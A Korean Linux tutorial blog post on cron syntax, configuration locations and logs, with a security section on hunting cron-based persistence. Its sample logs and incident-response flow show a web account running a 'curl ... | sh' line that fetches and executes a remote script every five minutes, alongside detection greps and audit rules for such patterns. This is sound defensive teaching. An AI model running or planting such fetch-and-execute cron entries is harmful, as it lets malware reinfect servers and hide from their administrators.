리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다.

리눅스 시스템 기초 38 / 50 · Part 4. 프로세스·서비스·리소스
실습 환경: Rocky Linux 9 (10.0.0.200) / Ubuntu 22.04 (10.0.0.210) · 로그 출력은 형식 예시
이전 글: 37. systemctl 서비스 관리

1. 들어가며

36·37편에서 부팅할 때 자동 실행되는 systemd 서비스를 봤다. 이번 글은 정해진 시각마다 명령을 실행하는 cron 을 다룬다.

백업, 로그 정리, 인증서 갱신처럼 운영에 꼭 필요한 기능이지만, 공격자에게도 매력적이다. 한 줄만 추가하면 5분마다 악성코드를 다시 내려받아 실행 할 수 있고, 관리자가 프로세스를 죽여도 다시 살아난다. 채굴 악성코드가 가장 흔하게 쓰는 지속성 기법이 바로 cron이다(MITRE ATT&CK T1053.003).

이번 글에서 답할 질문:

  • crontab 한 줄은 어떻게 읽는가?
  • cron 설정은 어디 어디에 있는가? (한 곳만 보면 놓친다)
  • 실행 기록은 RHEL과 Ubuntu에서 각각 어디에 남는가?

2. 핵심 개념

2-1. crontab 문법

┌─ 분 (0-59)
│ ┌─ 시 (0-23)
│ │ ┌─ 일 (1-31)
│ │ │ ┌─ 월 (1-12)
│ │ │ │ ┌─ 요일 (0-7, 0과 7은 일요일)
│ │ │ │ │
*/5 2 * * 1-5  /opt/backup.sh
표기의미예
*모든 값* * * * * = 매분
*/NN 간격*/10 = 10분마다
a-b범위1-5 = 월~금
a,b목록0,30 = 정각과 30분
@reboot부팅 시 1회지속성에 자주 쓰임
@daily 등축약0 0 * * *

예: */5 2 * * 1-5 = 평일 새벽 2시대에 5분마다 (02:00, 02:05 … 02:55).

2-2. 설정 위치

위치형식누가 쓰는가
/var/spool/cron/<user> (RHEL) · /var/spool/cron/crontabs/<user> (Ubuntu)5필드 + 명령crontab -e로 사용자가
/etc/crontab5필드 + 계정 + 명령시스템
/etc/cron.d/*5필드 + 계정 + 명령패키지·관리자
/etc/cron.hourly · daily · weekly · monthly실행 가능한 스크립트 파일패키지 (RHEL은 anacron, Ubuntu는 /etc/crontab의 run-parts가 실행)
systemd .timerUnit 파일systemctl list-timers (36편)
at 대기열일회성atq, /var/spool/at/

2-3. 접근 제어

/etc/cron.allow가 있으면 거기 적힌 계정만 crontab을 쓸 수 있다. 없으면 /etc/cron.deny에 적힌 계정만 금지된다. 웹 서비스 계정(apache, www-data)은 crontab이 필요 없으므로 제한하는 것이 좋다.


3. 동작 원리

cron — 문법, 설정 위치, 실행 로그

  1. crond(RHEL) / cron(Ubuntu) 데몬이 systemd 서비스로 실행된다.
  2. 매분 설정 파일들의 변경 여부를 확인하고, 현재 시각과 맞는 줄을 찾는다.
  3. 맞는 작업이 있으면 fork → 해당 계정 권한으로 sh -c "<명령>" 실행. 그래서 프로세스 트리는 crond → sh → 명령이 된다(35편).
  4. 실행 기록을 로그에 남긴다. 출력이 있으면 해당 계정에게 메일로 보내려 한다(그래서 공격자는 >/dev/null 2>&1을 붙인다).

실행 로그 위치 (배포판 차이)

배포판로그확인
RHEL / Rocky/var/log/cronsudo tail /var/log/cron
Ubuntu/var/log/syslog 안의 CRON 태그grep CRON /var/log/syslog 또는 journalctl -u cron

cron 환경은 로그인 쉘과 다르다. PATH가 /usr/bin:/bin 정도로 짧아서, 터미널에서 잘 되던 스크립트가 cron에서는 "command not found"로 실패하는 일이 흔하다. 스크립트 안에서는 절대 경로 를 쓴다.


4. 실습

# 1) 내 crontab
crontab -l
crontab -e            # 편집 (EDITOR 환경변수의 편집기)

# 2) 다른 사용자의 crontab (root 권한 필요)
sudo crontab -l -u apache

# 3) 모든 사용자 crontab 한 번에
sudo ls -la /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null
for u in $(cut -d: -f1 /etc/passwd); do
  out=$(sudo crontab -l -u "$u" 2>/dev/null | grep -v '^\s*#' | grep .)
  [ -n "$out" ] && printf '== %s ==\n%s\n' "$u" "$out"
done

# 4) 시스템 cron
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.{hourly,daily,weekly,monthly}/

# 5) systemd timer, at
systemctl list-timers --all
sudo atq

# 6) 실행 로그
sudo grep -E 'CMD|REPLACE|RELOAD' /var/log/cron | tail -20      # RHEL
grep CRON /var/log/syslog | tail -20                            # Ubuntu

5. 결과 분석

아래 출력은 형식 설명용 예시다.

① /var/log/cron (RHEL)

Mar 12 02:32:40 web01 crontab[5102]: (apache) BEGIN EDIT (apache)
Mar 12 02:32:41 web01 crontab[5102]: (apache) REPLACE (apache)
Mar 12 02:32:41 web01 crontab[5102]: (apache) END EDIT (apache)
Mar 12 02:33:01 web01 crond[701]: (apache) RELOAD (/var/spool/cron/apache)
Mar 12 02:35:01 web01 CROND[5230]: (apache) CMD (curl -fsSL http://203.0.113.50/s | sh >/dev/null 2>&1)
줄의미판단
crontab ... REPLACE (apache)apache 계정이 자신의 crontab을 교체웹 계정은 crontab을 쓸 일이 없음
RELOADcrond가 변경을 감지
CMD (curl ... \| sh ...)5분마다 외부 스크립트를 받아 실행전형적인 채굴·봇 재감염

② Ubuntu syslog

Mar 12 02:35:01 web02 CRON[6120]: (www-data) CMD (curl -fsSL http://203.0.113.50/s | sh >/dev/null 2>&1)

형식은 약간 다르지만 (계정) CMD (명령) 구조는 같다.


6. 보안 관점

의심 패턴이유
웹·DB 서비스 계정의 crontab정상 운영에서 거의 없음
* * * * * 또는 */1~*/5삭제돼도 빠르게 재감염
@reboot부팅마다 실행
curl·wget + \| sh/\| bash원격 코드를 받아 바로 실행
base64 -d, 긴 한 줄 인코딩내용 은닉
/tmp, /dev/shm, .으로 시작하는 경로숨김 실행 파일 (22편)
>/dev/null 2>&1메일·출력 흔적 제거 (27편)
패키지 미소속 /etc/cron.d/*파일 추가형 지속성

채굴 악성코드는 흔히 cron + systemd + SSH 키 를 함께 설치한다. cron 하나만 지우면 다른 곳에서 다시 복구하므로, 36편의 서비스와 15편의 authorized_keys까지 함께 확인해야 한다.


7. SOC / 보안관제 활용

7-1. cron 지속성 헌팅

# 모든 cron 소스에서 의심 키워드
sudo grep -rEn 'curl|wget|base64|/tmp/|/dev/shm|\|\s*(ba)?sh|@reboot' \
  /etc/crontab /etc/cron.d /etc/cron.*ly /var/spool/cron 2>/dev/null

# 최근 7일 변경
sudo find /etc/cron* /var/spool/cron -newermt '-7 days' -type f -ls 2>/dev/null

# 패키지 미소속 cron.d 파일 (RHEL)
for f in /etc/cron.d/*; do rpm -qf "$f" >/dev/null 2>&1 || echo "NOPKG $f"; done

7-2. 감사 규칙

-w /etc/crontab -p wa -k cron_persist
-w /etc/cron.d/ -p wa -k cron_persist
-w /var/spool/cron/ -p wa -k cron_persist

7-3. 분석 흐름

[Alert]   /var/log/cron: (apache) REPLACE (apache)
   ↓
[확인]    crontab -l -u apache → */5 * * * * curl -fsSL http://203.0.113.50/s | sh
   ↓
[IOC]     203.0.113.50, 내려받는 스크립트 해시 (격리 환경에서 수집)
   ↓
[역추적]   02:32 access_log → 웹셸 요청 (25·35편)
   ↓
[범위]    같은 IOC를 가진 다른 서버의 cron, systemd, authorized_keys
   ↓
[Response] crontab 제거·백업, IP 차단, cron.allow 로 서비스 계정 제한, 웹 취약점 조치

8. 핵심 정리

  • crontab 필드: 분 · 시 · 일 · 월 · 요일 · 명령. /etc/crontab과 /etc/cron.d는 계정 필드 가 추가된다.
  • 설정 위치는 여러 곳이다: 사용자 spool, /etc/crontab, /etc/cron.d, cron.*ly, systemd timer, at.
  • 실행 로그: RHEL /var/log/cron, Ubuntu /var/log/syslog(CRON).
  • cron은 계정 권한으로 sh -c를 실행한다 → 트리는 crond → sh → 명령.
  • 의심 패턴: 서비스 계정 crontab, 매분 실행, curl|sh, base64, 임시 경로, >/dev/null 2>&1.

9. 다음 글

다음 글 「39. CPU · Memory 관리」 에서는 33편 top에서 본 자원 지표를 깊이 다룬다. free의 available, 페이지 캐시, 스왑, vmstat, 그리고 메모리가 부족할 때 커널이 프로세스를 강제 종료하는 OOM Killer 를 정리한다.


참고 자료

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글